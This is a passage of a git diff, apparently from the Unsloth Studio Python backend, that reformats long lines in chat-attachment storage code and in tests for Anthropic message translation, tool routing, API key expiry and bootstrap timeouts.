attachment.get("contentType") + ), "sizeBytes": _chat_attachment_size_bytes(attachment), } ) @@ -1794,7 +1844,9 @@ def _replace_chat_attachment_inventory( content_json: Optional[str], tombstones: Optional[set[str]] = None, ) -> None: - conn.execute("DELETE FROM chat_attachment_inventory WHERE message_id = ?", (message_id,)) + conn.execute( + "DELETE FROM chat_attachment_inventory WHERE message_id = ?", (message_id,) + ) entries = _chat_attachment_inventory_entries( attachments_json, content_json, @@ -1995,13 +2047,16 @@ def sync_chat_messages( [m["id"] for m in messages], ) reconciled_messages = [ - _reconcile_chat_message_uploads(m, tombstones.get(m["id"], set())) for m in messages + _reconcile_chat_message_uploads(m, tombstones.get(m["id"], set())) + for m in messages ] serialized_messages = [ ( m, json.dumps(m.get("content", [])), - json.dumps(m.get("attachments")) if m.get("attachments") is not None else None, + json.dumps(m.get("attachments")) + if m.get("attachments") is not None + else None, ) for m in reconciled_messages ] @@ -2027,7 +2082,9 @@ def sync_chat_messages( m["role"], content_json, attachments_json, - json.dumps(m.get("metadata")) if m.get("metadata") is not None else None, + json.dumps(m.get("metadata")) + if m.get("metadata") is not None + else None, int(m["createdAt"]), ) for m, content_json, attachments_json in serialized_messages @@ -2397,7 +2454,10 @@ def get_chat_attachment(message_id: str, attachment_id: str) -> Optional[dict]: attachments = _json_loads(row["attachments_json"], None) if isinstance(attachments, list): for attachment in attachments: - if isinstance(attachment, dict) and str(attachment.get("id") or "") == attachment_id: + if ( + isinstance(attachment, dict) + and str(attachment.get("id") or "") == attachment_id + ): return attachment if attachment_id.startswith(_CONTENT_PART_ID_PREFIX): for attachment in _content_part_attachments(row["content_json"]): @@ -2468,11 +2528,15 @@ def delete_chat_attachment(message_id: str, attachment_id: str) -> bool: content = _json_loads(row["content_json"], None) updated_content_json = row["content_json"] deleted_content = False - if attachment_id.startswith(_CONTENT_PART_ID_PREFIX) and isinstance(content, list): + if attachment_id.startswith(_CONTENT_PART_ID_PREFIX) and isinstance( + content, list + ): remaining_content = [ part for part in content - if not (isinstance(part, dict) and _content_part_id(part) == attachment_id) + if not ( + isinstance(part, dict) and _content_part_id(part) == attachment_id + ) ] deleted_content = len(remaining_content) != len(content) if deleted_content: @@ -2541,7 +2605,9 @@ def list_chat_messages_for_threads(thread_ids: list[str]) -> list[dict]: def get_app_setting(key: str, fallback = None): conn = get_connection() try: - row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone() + row = conn.execute( + "SELECT value_json FROM app_settings WHERE key = ?", (key,) + ).fetchone() if row is None: return fallback return _json_loads(row["value_json"], fallback) @@ -2566,7 +2632,9 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]: [(key, json.dumps(value), now) for key, value in settings.items()], ) conn.commit() - rows = conn.execute("SELECT key, value_json FROM app_settings ORDER BY key").fetchall() + rows = conn.execute( + "SELECT key, value_json FROM app_settings ORDER BY key" + ).fetchall() return {row["key"]: _json_loads(row["value_json"], None) for row in rows} finally: conn.close() @@ -2581,7 +2649,9 @@ def upsert_app_setting_map_entry( conn = get_connection() try: conn.execute("BEGIN IMMEDIATE") - row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone() + row = conn.execute( + "SELECT value_json FROM app_settings WHERE key = ?", (key,) + ).fetchone() current = _json_loads(row["value_json"], {}) if row else {} if not isinstance(current, dict): current = {} @@ -2612,7 +2682,9 @@ def upsert_app_setting_map_entry( def list_chat_settings() -> dict[str, Any]: conn = get_connection() try: - rows = conn.execute("SELECT key, value_json FROM chat_settings ORDER BY key").fetchall() + rows = conn.execute( + "SELECT key, value_json FROM chat_settings ORDER BY key" + ).fetchall() settings: dict[str, Any] = {} for row in rows: settings[row["key"]] = _json_loads(row["value_json"], None) @@ -2643,7 +2715,9 @@ def upsert_chat_settings(settings: dict[str, Any]) -> dict[str, Any]: conn.close() -def _deep_merge_settings(current: dict[str, Any], updates: dict[str, Any]) -> dict[str, Any]: +def _deep_merge_settings( + current: dict[str, Any], updates: dict[str, Any] +) -> dict[str, Any]: merged = dict(current) for key, value in updates.items(): current_value = merged.get(key) @@ -2664,7 +2738,9 @@ def upsert_chat_settings_merge(updates: dict[str, Any]) -> dict[str, Any]: conn.execute("BEGIN IMMEDIATE") current, corrupt = _load_chat_settings_for_merge(conn) unsafe_partial_keys = [ - key for key, value in updates.items() if key in corrupt and isinstance(value, dict) + key + for key, value in updates.items() + if key in corrupt and isinstance(value, dict) ] if unsafe_partial_keys: conn.commit() @@ -2705,7 +2781,9 @@ def list_chat_legacy_imports() -> list[str]: """Return the legacy_thread_id of every thread already imported.""" conn = get_connection() try: - rows = conn.execute("SELECT legacy_thread_id FROM chat_legacy_imports").fetchall() + rows = conn.execute( + "SELECT legacy_thread_id FROM chat_legacy_imports" + ).fetchall() return [row[0] for row in rows] finally: conn.close() diff --git a/studio/backend/tests/test_amd_apu_unified_memory.py b/studio/backend/tests/test_amd_apu_unified_memory.py index 9fd8260bf2..9462120e72 100644 --- a/studio/backend/tests/test_amd_apu_unified_memory.py +++ b/studio/backend/tests/test_amd_apu_unified_memory.py @@ -51,7 +51,9 @@ def test_apu_guard_scopes_to_selected_gpu(monkeypatch): # Mixed host: physical id 0 = discrete gfx1100, 1 = gfx1151 APU. for _m in ("HIP_VISIBLE_DEVICES", "ROCR_VISIBLE_DEVICES", "CUDA_VISIBLE_DEVICES"): monkeypatch.delenv(_m, raising = False) - monkeypatch.setitem(sys.modules, "torch", _fake_torch("6.2.0", ["gfx1100", "gfx1151"])) + monkeypatch.setitem( + sys.modules, "torch", _fake_torch("6.2.0", ["gfx1100", "gfx1151"]) + ) # Selecting only the dGPU, or an empty selection, must not be unified-memory. assert LlamaCppBackend._amd_apu_wants_unified_memory([0]) is False assert LlamaCppBackend._amd_apu_wants_unified_memory([]) is False diff --git a/studio/backend/tests/test_anthropic_citations_edge.py b/studio/backend/tests/test_anthropic_citations_edge.py index f89e5ebda8..18222c76fa 100644 --- a/studio/backend/tests/test_anthropic_citations_edge.py +++ b/studio/backend/tests/test_anthropic_citations_edge.py @@ -79,7 +79,8 @@ def _capture( client = _make_client() try: async for line in client.stream_chat_completion( - messages = messages or [{"role": "user", "content": "what color is grass?"}], + messages = messages + or [{"role": "user", "content": "what color is grass?"}], model = "claude-opus-4-7", max_tokens = 64, ): @@ -157,7 +158,10 @@ def _citation_payload(body: str) -> dict: except json.JSONDecodeError: continue tool_event = payload.get("_toolEvent") if isinstance(payload, dict) else None - if isinstance(tool_event, dict) and tool_event.get("type") == "document_citations": + if ( + isinstance(tool_event, dict) + and tool_event.get("type") == "document_citations" + ): return tool_event raise AssertionError("document_citations event not parsed out of SSE body") diff --git a/studio/backend/tests/test_anthropic_code_execution.py b/studio/backend/tests/test_anthropic_code_execution.py index 22bbb19125..f334f76595 100644 --- a/studio/backend/tests/test_anthropic_code_execution.py +++ b/studio/backend/tests/test_anthropic_code_execution.py @@ -174,7 +174,9 @@ def test_no_code_execution_tool_when_pill_off(monkeypatch): # Pill off: no code_execution variant on the wire. assert all("code_execution" not in (t.get("type") or "") for t in tools) # Beta header must omit code-execution when the tool is off (opt-in only). - assert "code-execution-2025-08-25" not in captured["headers"].get("anthropic-beta", "") + assert "code-execution-2025-08-25" not in captured["headers"].get( + "anthropic-beta", "" + ) def test_bash_code_execution_emits_tool_start_and_end(monkeypatch): @@ -247,7 +249,11 @@ def test_bash_code_execution_emits_tool_start_and_end(monkeypatch): assert start["tool_name"] == "code_execution" assert start["tool_call_id"] == "srvtoolu_1" # `_server_tool: True` marks a provider-side synthetic tool card. - assert start["arguments"] == {"kind": "bash", "command": "ls -la", "_server_tool": True} + assert start["arguments"] == { + "kind": "bash", + "command": "ls -la", + "_server_tool": True, + } assert end["type"] == "tool_end" assert end["tool_call_id"] == "srvtoolu_1" diff --git a/studio/backend/tests/test_anthropic_compaction.py b/studio/backend/tests/test_anthropic_compaction.py index acc0acc2e0..7b19c046b2 100644 --- a/studio/backend/tests/test_anthropic_compaction.py +++ b/studio/backend/tests/test_anthropic_compaction.py @@ -122,9 +122,13 @@ def test_supported_model_attaches_compaction_block_and_beta(monkeypatch): def test_threshold_clamped_to_50k_minimum(monkeypatch): # Below-min values get clamped UP so we don't 400 upstream. captured = _capture(monkeypatch, "claude-opus-4-7", 60_000) - assert captured["body"]["context_management"]["edits"][0]["trigger"]["value"] == 60_000 + assert ( + captured["body"]["context_management"]["edits"][0]["trigger"]["value"] == 60_000 + ) captured = _capture(monkeypatch, "claude-opus-4-7", 1) - assert captured["body"]["context_management"]["edits"][0]["trigger"]["value"] == 50_000 + assert ( + captured["body"]["context_management"]["edits"][0]["trigger"]["value"] == 50_000 + ) # ── beta header merge with code execution ──────────────────────────── @@ -202,7 +206,9 @@ def test_chat_completion_request_accepts_sub_50k_compaction_threshold(): # ── usage.iterations[] surfaces compaction tokens ────────────────── -def test_message_delta_iterations_array_aggregates_compaction_tokens(monkeypatch, capsys): +def test_message_delta_iterations_array_aggregates_compaction_tokens( + monkeypatch, capsys +): # On mid-stream compaction the message_delta usage carries # `iterations: [{type:"compaction", ...}, ...]`. Top-level tokens only cover # the `message` iteration, so the helper folds compaction totals into @@ -521,7 +527,9 @@ def test_build_external_messages_passes_compaction_for_anthropic_only(): } ) ] - out = _build_external_messages(msgs, supports_vision = True, provider_type = "anthropic") + out = _build_external_messages( + msgs, supports_vision = True, provider_type = "anthropic" + ) assert len(out) == 1 parts = out[0]["content"] assert parts[0] == {"type": "compaction", "content": "prior summary"} @@ -547,7 +555,9 @@ def test_build_external_messages_strips_compaction_for_non_anthropic_providers() ) ] for provider in ("openai", "deepseek", "mistral", "gemini", "kimi", "openrouter"): - out = _build_external_messages(msgs, supports_vision = True, provider_type = provider) + out = _build_external_messages( + msgs, supports_vision = True, provider_type = provider + ) assert len(out) == 1, (provider, out) parts = out[0]["content"] types = [p.get("type") for p in parts if isinstance(p, dict)] @@ -595,10 +605,14 @@ def test_build_external_messages_non_vision_anthropic_keeps_compaction(): } ) ] - out = _build_external_messages(msgs, supports_vision = False, provider_type = "anthropic") + out = _build_external_messages( + msgs, supports_vision = False, provider_type = "anthropic" + ) parts = out[0]["content"] assert {"type": "compaction", "content": "prior summary"} in parts # Non-anthropic + non-vision -> compaction stripped, text collapsed # back to a string. - out2 = _build_external_messages(msgs, supports_vision = False, provider_type = "deepseek") + out2 = _build_external_messages( + msgs, supports_vision = False, provider_type = "deepseek" + ) assert out2[0]["content"] == "answer", out2 diff --git a/studio/backend/tests/test_anthropic_fast_mode_edge.py b/studio/backend/tests/test_anthropic_fast_mode_edge.py index 03f5d1c0eb..1c6e3267e4 100644 --- a/studio/backend/tests/test_anthropic_fast_mode_edge.py +++ b/studio/backend/tests/test_anthropic_fast_mode_edge.py @@ -270,7 +270,9 @@ def test_refusal_notice_appears_before_content_filter_chunk(monkeypatch): """The notice content delta must precede the finish_reason chunk.""" _, lines = _capture(monkeypatch, sse = _refusal_sse(), model = "claude-opus-4-7") notice_idx = next(i for i, l in enumerate(lines) if "stopped by Anthropic" in l) - filter_idx = next(i for i, l in enumerate(lines) if '"finish_reason": "content_filter"' in l) + filter_idx = next( + i for i, l in enumerate(lines) if '"finish_reason": "content_filter"' in l + ) assert notice_idx < filter_idx, (notice_idx, filter_idx, lines) @@ -421,7 +423,9 @@ def test_usage_speed_propagates_to_final_usage_chunk_fast(monkeypatch): def test_usage_speed_propagates_to_final_usage_chunk_standard(monkeypatch): _, lines = _capture(monkeypatch, sse = _fast_speed_sse(speed = "standard")) parsed = [ - json.loads(l[len("data: ") :]) for l in lines if l.startswith("data: ") and '"usage"' in l + json.loads(l[len("data: ") :]) + for l in lines + if l.startswith("data: ") and '"usage"' in l ] speeds = [p["usage"].get("speed") for p in parsed if "usage" in p] assert "standard" in speeds, parsed @@ -431,7 +435,9 @@ def test_usage_speed_absent_when_anthropic_does_not_report(monkeypatch): """Unsloth must not invent ``usage.speed`` when upstream omits it.""" _, lines = _capture(monkeypatch) parsed = [ - json.loads(l[len("data: ") :]) for l in lines if l.startswith("data: ") and '"usage"' in l + json.loads(l[len("data: ") :]) + for l in lines + if l.startswith("data: ") and '"usage"' in l ] for p in parsed: usage = p.get("usage") or {} diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py index 9ccc3f44dd..cafa4d67f4 100644 --- a/studio/backend/tests/test_anthropic_messages.py +++ b/studio/backend/tests/test_anthropic_messages.py @@ -75,12 +75,18 @@ def test_anthropic_emitter_closes_reasoning_only_think_block(): emitter = AnthropicStreamEmitter() events = emitter.start("msg_1", "m") events += emitter.feed({"type": "content", "text": "The capital"}) - events += emitter.feed({"type": "content", "text": "The capital of France is Paris."}) + events += emitter.feed( + {"type": "content", "text": "The capital of France is Paris."} + ) # The generator's final bare-text shrink (dropped by the cumulative diff). - events += emitter.feed({"type": "content", "text": "The capital of France is Paris."}) + events += emitter.feed( + {"type": "content", "text": "The capital of France is Paris."} + ) events += emitter.finish() - assert _emitter_client_text(events) == "The capital of France is Paris." + assert ( + _emitter_client_text(events) == "The capital of France is Paris." + ) def test_anthropic_emitter_does_not_double_close_balanced_think(): @@ -89,7 +95,9 @@ def test_anthropic_emitter_does_not_double_close_balanced_think(): emitter = AnthropicStreamEmitter() events = emitter.start("msg_1", "m") events += emitter.feed({"type": "content", "text": "Thinking."}) - events += emitter.feed({"type": "content", "text": "Thinking.Answer."}) + events += emitter.feed( + {"type": "content", "text": "Thinking.Answer."} + ) events += emitter.finish() assert _emitter_client_text(events) == "Thinking.Answer." @@ -153,7 +161,10 @@ class TestToolActionNudge: assert nudge.startswith("The current date is ") assert "Tools are available when they materially improve" in nudge assert "prefer using tools rather than answering from memory" not in nudge - assert "fetch its full content by calling web_search with the url parameter" in nudge + assert ( + "fetch its full content by calling web_search with the url parameter" + in nudge + ) assert "Use code execution for math" in nudge assert "render_html" not in nudge @@ -171,7 +182,9 @@ class TestToolActionNudge: assert "call render_html once" in nudge def test_balanced_nudge_empty_without_known_tool_categories(self): - assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == "" + assert ( + _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == "" + ) # ===================================================================== @@ -497,7 +510,10 @@ class TestAnthropicMessagesToOpenAI: ] result = anthropic_messages_to_openai(msgs) parts = result[0]["content"] - assert parts[1] == {"type": "image_url", "image_url": {"url": "https://x/y.png"}} + assert parts[1] == { + "type": "image_url", + "image_url": {"url": "https://x/y.png"}, + } def test_image_only_user_message_emits_no_text_part(self): msgs = [ @@ -643,7 +659,9 @@ class TestAnthropicToolsToOpenAI: assert [tool["function"]["name"] for tool in result] == ["web_search", "python"] def test_pydantic_model_input(self): - tool = AnthropicTool(name = "test", description = "desc", input_schema = {"type": "object"}) + tool = AnthropicTool( + name = "test", description = "desc", input_schema = {"type": "object"} + ) result = anthropic_tools_to_openai([tool]) assert result[0]["function"]["name"] == "test" @@ -743,8 +761,12 @@ class TestAnthropicStreamEmitter: } ) - first_payloads = [json.loads(event.split("data: ")[1]) for event in first_events] - second_payloads = [json.loads(event.split("data: ")[1]) for event in second_events] + first_payloads = [ + json.loads(event.split("data: ")[1]) for event in first_events + ] + second_payloads = [ + json.loads(event.split("data: ")[1]) for event in second_events + ] tool_starts = [ payload @@ -760,7 +782,9 @@ class TestAnthropicStreamEmitter: "index": tool_starts[0]["index"], "delta": { "type": "input_json_delta", - "partial_json": json.dumps({"code": ""}), + "partial_json": json.dumps( + {"code": ""} + ), }, } ] @@ -924,7 +948,9 @@ class TestAnthropicToolNonStreaming: response = asyncio.run(_anthropic_tool_non_streaming(_run_gen, "msg_1", "m")) body = json.loads(response.body) - tool_blocks = [block for block in body["content"] if block["type"] == "tool_use"] + tool_blocks = [ + block for block in body["content"] if block["type"] == "tool_use" + ] assert len(tool_blocks) == 1 assert tool_blocks[0]["type"] == "tool_use" @@ -941,7 +967,9 @@ class TestAnthropicToolNonStreaming: "text": 'Try foo[ARGS]{"x": 1} but not web_search[ARGS]{"q": "hi"} here.', } - tools = [{"type": "function", "function": {"name": "web_search", "parameters": {}}}] + tools = [ + {"type": "function", "function": {"name": "web_search", "parameters": {}}} + ] response = asyncio.run( _anthropic_tool_non_streaming(_run_gen, "msg_1", "m", openai_tools = tools) ) @@ -1045,14 +1073,26 @@ class TestAnthropicPassthroughEmitter: events1 = e.feed_chunk( { "choices": [ - {"delta": {"tool_calls": [{"index": 0, "function": {"arguments": '{"cmd'}}]}} + { + "delta": { + "tool_calls": [ + {"index": 0, "function": {"arguments": '{"cmd'}} + ] + } + } ] } ) events2 = e.feed_chunk( { "choices": [ - {"delta": {"tool_calls": [{"index": 0, "function": {"arguments": '": "ls"}'}}]}} + { + "delta": { + "tool_calls": [ + {"index": 0, "function": {"arguments": '": "ls"}'}} + ] + } + } ] } ) @@ -1551,7 +1591,9 @@ class TestAnthropicMessagesToolRouting: monkeypatch.setattr(inf_mod, "api_monitor", monitor) payload = _basic_payload() - response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t")) + response = _drive( + anthropic_messages(payload, request = self._Request(), current_subject = "t") + ) assert response.status_code == 200 [entry] = monitor.snapshot() @@ -1586,14 +1628,18 @@ class TestAnthropicMessagesToolRouting: tools = [{"type": "web_search_20250305", "name": "web_search"}], ) - response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t")) + response = _drive( + anthropic_messages(payload, request = self._Request(), current_subject = "t") + ) assert response.status_code == 200 [entry] = monitor.snapshot() assert entry["status"] == "completed" assert entry["reply_preview"] == 'Tool call: lookup({"query": "weather"})' - def test_plain_streaming_records_active_and_completed_monitor_entry(self, monkeypatch): + def test_plain_streaming_records_active_and_completed_monitor_entry( + self, monkeypatch + ): import routes.inference as inf_mod _mock_backend(monkeypatch, context_length = 2048) @@ -1601,7 +1647,9 @@ class TestAnthropicMessagesToolRouting: monkeypatch.setattr(inf_mod, "api_monitor", monitor) payload = _basic_payload(stream = True) - response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t")) + response = _drive( + anthropic_messages(payload, request = self._Request(), current_subject = "t") + ) assert monitor.active_count() == 1 self._consume_response(response) @@ -1621,11 +1669,17 @@ class TestAnthropicMessagesToolRouting: _mock_backend(monkeypatch, context_length = 2048) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_anthropic_plain_stream", _cancelled_before_response) + monkeypatch.setattr( + inf_mod, "_anthropic_plain_stream", _cancelled_before_response + ) payload = _basic_payload(stream = True) with pytest.raises(asyncio.CancelledError): - _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t")) + _drive( + anthropic_messages( + payload, request = self._Request(), current_subject = "t" + ) + ) [entry] = monitor.snapshot() assert entry["status"] == "cancelled" @@ -1634,7 +1688,9 @@ class TestAnthropicMessagesToolRouting: @staticmethod def _sse_blob(chunks): # StreamingResponse may hand back str or already-encoded bytes. - return "".join(c.decode() if isinstance(c, (bytes, bytearray)) else c for c in chunks) + return "".join( + c.decode() if isinstance(c, (bytes, bytearray)) else c for c in chunks + ) def test_plain_streaming_unclassified_error_emits_error_event(self, monkeypatch): # An unclassified mid-stream failure must surface as an SSE `error` event @@ -1646,7 +1702,9 @@ class TestAnthropicMessagesToolRouting: _mock_backend(monkeypatch, generate_chat_completion = _gen_boom) payload = _basic_payload(stream = True) - response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t")) + response = _drive( + anthropic_messages(payload, request = self._Request(), current_subject = "t") + ) blob = self._sse_blob(self._consume_response(response)) assert "event: error" in blob @@ -1666,7 +1724,9 @@ class TestAnthropicMessagesToolRouting: tools = [{"type": "web_search_20250305", "name": "web_search"}], ) - response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t")) + response = _drive( + anthropic_messages(payload, request = self._Request(), current_subject = "t") + ) blob = self._sse_blob(self._consume_response(response)) assert "event: error" in blob @@ -1687,7 +1747,9 @@ class TestAnthropicMessagesToolRouting: assert exc.value.status_code == 400 assert "Mixing Anthropic server tools" in exc.value.detail - def test_mixed_rejected_when_client_tool_name_collides_with_server_alias(self, monkeypatch): + def test_mixed_rejected_when_client_tool_name_collides_with_server_alias( + self, monkeypatch + ): # Regression: a client tool sharing a name with a mapped server tool # (e.g. a custom "web_search") must still trigger the mixed-mode 400; # otherwise the post-name filter drops the client tool and silently @@ -1746,7 +1808,9 @@ class TestAnthropicMessagesToolRouting: assert exc.value.status_code == 400 assert "name" in exc.value.detail - def test_alias_named_client_tool_without_schema_rejected_with_400(self, monkeypatch): + def test_alias_named_client_tool_without_schema_rejected_with_400( + self, monkeypatch + ): # Regression: a typo'd client tool whose name collides with an Unsloth # alias (e.g. a custom "python" tool missing input_schema) must # surface a 400, not silently switch into Unsloth's built-in python @@ -1802,7 +1866,10 @@ class TestAnthropicMessagesToolRouting: with pytest.raises(HTTPException) as exc: _drive(anthropic_messages(payload, request = None, current_subject = "t")) assert exc.value.status_code == 400 - assert "confirm_tool_calls is not supported" in exc.value.detail["error"]["message"] + assert ( + "confirm_tool_calls is not supported" + in exc.value.detail["error"]["message"] + ) assert backend.calls == [] def test_permission_mode_gating_for_server_tools(self, monkeypatch): @@ -1833,11 +1900,15 @@ class TestAnthropicMessagesToolRouting: _basic_payload( tools = [{"type": "terminal", "name": "terminal"}], permission_mode = "auto" ), - _basic_payload(tools = safe_tools, enable_tools = True, enabled_tools = ["python"]), + _basic_payload( + tools = safe_tools, enable_tools = True, enabled_tools = ["python"] + ), ): backend = _mock_backend(monkeypatch) with pytest.raises(HTTPException) as exc: - _drive(anthropic_messages(local_payload, request = None, current_subject = "t")) + _drive( + anthropic_messages(local_payload, request = None, current_subject = "t") + ) assert exc.value.status_code == 400 assert "terminal" in exc.value.detail["error"]["message"] assert backend.calls == [] @@ -1849,8 +1920,16 @@ class TestAnthropicMessagesToolRouting: for extra in ( {"tools": safe_tools, "permission_mode": "off"}, {"tools": safe_tools, "permission_mode": "full"}, - {"tools": safe_tools, "enabled_tools": ["python"], "confirm_tool_calls": False}, - {"tools": safe_tools, "permission_mode": "ask", "confirm_tool_calls": False}, + { + "tools": safe_tools, + "enabled_tools": ["python"], + "confirm_tool_calls": False, + }, + { + "tools": safe_tools, + "permission_mode": "ask", + "confirm_tool_calls": False, + }, { "tools": [{"type": "terminal", "name": "terminal"}], "permission_mode": "ask", @@ -1949,7 +2028,11 @@ def test_resumed_session_thinking_and_null_content_do_not_400(): { "role": "assistant", "content": [ - {"type": "thinking", "thinking": "secret reasoning", "signature": "s"}, + { + "type": "thinking", + "thinking": "secret reasoning", + "signature": "s", + }, {"type": "text", "text": "the answer"}, {"type": "tool_use", "id": "t1", "name": "f", "input": {}}, ], @@ -1972,7 +2055,9 @@ def test_resumed_session_thinking_and_null_content_do_not_400(): AnthropicMessagesRequest( model = "x", max_tokens = 16, - messages = [{"role": "assistant", "content": [{"type": "tool_use", "name": "f"}]}], + messages = [ + {"role": "assistant", "content": [{"type": "tool_use", "name": "f"}]} + ], ) @@ -2016,7 +2101,11 @@ def test_user_translatable_blocks_still_accepted(): {"type": "text", "text": "What is this?"}, { "type": "image", - "source": {"type": "base64", "media_type": "image/png", "data": "AA"}, + "source": { + "type": "base64", + "media_type": "image/png", + "data": "AA", + }, }, {"type": "tool_result", "tool_use_id": "t1", "content": "ok"}, ], @@ -2193,7 +2282,9 @@ def test_disable_parallel_tool_use_forwards_heartbeats_while_dropping(): # One heartbeat inside the kept call, two inside the dropped window. assert len(keepalives) >= 3 # The dropped call must not surface as a second tool_use block. - tool_use_starts = [c for c in chunks if "content_block_start" in c and '"tool_use"' in c] + tool_use_starts = [ + c for c in chunks if "content_block_start" in c and '"tool_use"' in c + ] assert len(tool_use_starts) == 1 @@ -2279,7 +2370,9 @@ def test_dropped_tool_output_events_emit_rate_limited_keepalives(monkeypatch): assert any("final answer" in c for c in chunks) -def test_parallel_disabled_dropped_call_output_emits_rate_limited_keepalives(monkeypatch): +def test_parallel_disabled_dropped_call_output_emits_rate_limited_keepalives( + monkeypatch, +): """Under disable_parallel_tool_use a chatty second call is dropped whole (drop_until_tool_end). Its tool_output/tool_args events must still emit rate-limited keepalives: the drop window can last minutes with no heartbeats @@ -2370,7 +2463,9 @@ def test_parallel_disabled_dropped_call_output_emits_rate_limited_keepalives(mon keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE] assert len(keepalives) == n_output # The dropped call must not surface as a second tool_use block. - tool_use_starts = [c for c in chunks if "content_block_start" in c and '"tool_use"' in c] + tool_use_starts = [ + c for c in chunks if "content_block_start" in c and '"tool_use"' in c + ] assert len(tool_use_starts) == 1 assert any("final answer" in c for c in chunks) @@ -2383,7 +2478,10 @@ def test_plain_stream_emits_keepalive_during_prompt_stall(monkeypatch): import time as _time from routes import inference as inf_mod - from routes.inference import _OPENAI_PASSTHROUGH_SSE_KEEPALIVE, _anthropic_plain_stream + from routes.inference import ( + _OPENAI_PASSTHROUGH_SSE_KEEPALIVE, + _anthropic_plain_stream, + ) monkeypatch.setattr(inf_mod, "_LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S", 0.05) diff --git a/studio/backend/tests/test_anthropic_web_fetch.py b/studio/backend/tests/test_anthropic_web_fetch.py index bf24175256..2935446447 100644 --- a/studio/backend/tests/test_anthropic_web_fetch.py +++ b/studio/backend/tests/test_anthropic_web_fetch.py @@ -178,7 +178,9 @@ def test_no_web_fetch_tool_when_pill_off(monkeypatch): _drive(run()) tools = captured["body"].get("tools") or [] - assert all(t.get("type") not in ("web_fetch_20250910", "web_fetch_20260209") for t in tools) + assert all( + t.get("type") not in ("web_fetch_20250910", "web_fetch_20260209") for t in tools + ) # ── SSE translation ───────────────────────────────────────────────── @@ -246,7 +248,9 @@ def test_web_fetch_success_emits_tool_start_and_end(monkeypatch): client = _make_client() return await _collect( client._stream_anthropic( - messages = [{"role": "user", "content": "Fetch https://example.com/article"}], + messages = [ + {"role": "user", "content": "Fetch https://example.com/article"} + ], model = "claude-opus-4-7", temperature = 0.7, top_p = 0.95, @@ -264,7 +268,10 @@ def test_web_fetch_success_emits_tool_start_and_end(monkeypatch): assert start["tool_call_id"] == "srvtoolu_wf1" # `_server_tool: True` marks this a provider-side synthetic tool card # for the frontend's history serializer. - assert start["arguments"] == {"url": "https://example.com/article", "_server_tool": True} + assert start["arguments"] == { + "url": "https://example.com/article", + "_server_tool": True, + } assert end["type"] == "tool_end" assert end["tool_call_id"] == "srvtoolu_wf1" # The source pill uses Title / URL / snippet as parseSourcesFromResult expects. diff --git a/studio/backend/tests/test_api_key_expiry.py b/studio/backend/tests/test_api_key_expiry.py index 0dacb4c61e..44c3c3c82f 100644 --- a/studio/backend/tests/test_api_key_expiry.py +++ b/studio/backend/tests/test_api_key_expiry.py @@ -62,7 +62,8 @@ def subject_of(token): def test_unexpired_key_validates(): seed_user() assert ( - storage.validate_api_key(make_key(iso_from_now(days = 1))) == storage.DEFAULT_ADMIN_USERNAME + storage.validate_api_key(make_key(iso_from_now(days = 1))) + == storage.DEFAULT_ADMIN_USERNAME ) @@ -94,7 +95,9 @@ def test_revoked_key_rejected(): def test_unknown_key_rejected(): seed_user() - assert storage.validate_api_key(storage.API_KEY_PREFIX + secrets.token_hex(16)) is None + assert ( + storage.validate_api_key(storage.API_KEY_PREFIX + secrets.token_hex(16)) is None + ) # --- get_current_subject (route dependency) --------------------------------- @@ -137,7 +140,9 @@ def test_dependency_rejects_expired_jwt_as_401(): def test_cache_skips_pbkdf2_on_repeat(monkeypatch): seed_user() raw = make_key(iso_from_now(days = 1)) - assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME # warms cache + assert ( + storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME + ) # warms cache calls = {"n": 0} real = storage._pbkdf2_api_key @@ -194,5 +199,7 @@ def test_create_api_key_route_stores_tz_aware_expiry(): expires_at = iso_from_now(days = 30), ) parsed = _dt.fromisoformat(row["expires_at"]) - assert parsed.tzinfo is not None # tz-aware: comparison in validate_api_key won't raise + assert ( + parsed.tzinfo is not None + ) # tz-aware: comparison in validate_api_key won't raise assert storage.validate_api_key(raw) == storage.DEFAULT_ADMIN_USERNAME diff --git a/studio/backend/tests/test_audio_token_detection.py b/studio/backend/tests/test_audio_token_detection.py index 02d4790519..d07af172ba 100644 --- a/studio/backend/tests/test_audio_token_detection.py +++ b/studio/backend/tests/test_audio_token_detection.py @@ -18,7 +18,9 @@ def _classify(tokens: list[str]) -> str | None: def test_gemma3n_audio_soft_token_is_audio_vlm(): - assert _classify(["", "", ""]) == "audio_vlm" + assert ( + _classify(["", "", ""]) == "audio_vlm" + ) def test_gemma4_pipe_audio_token_is_audio_vlm(): diff --git a/studio/backend/tests/test_bootstrap_timeout.py b/studio/backend/tests/test_bootstrap_timeout.py index 58d4829215..b6b4bf2d6c 100644 --- a/studio/backend/tests/test_bootstrap_timeout.py +++ b/studio/backend/tests/test_bootstrap_timeout.py @@ -27,13 +27,16 @@ def test_default_when_unset(): def test_default_when_empty(): - assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": " "}) == ( - DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS - ) + assert bootstrap_timeout_seconds( + env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": " "} + ) == (DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS) def test_explicit_value_parsed(): - assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "1800"}) == 1800 + assert ( + bootstrap_timeout_seconds(env = 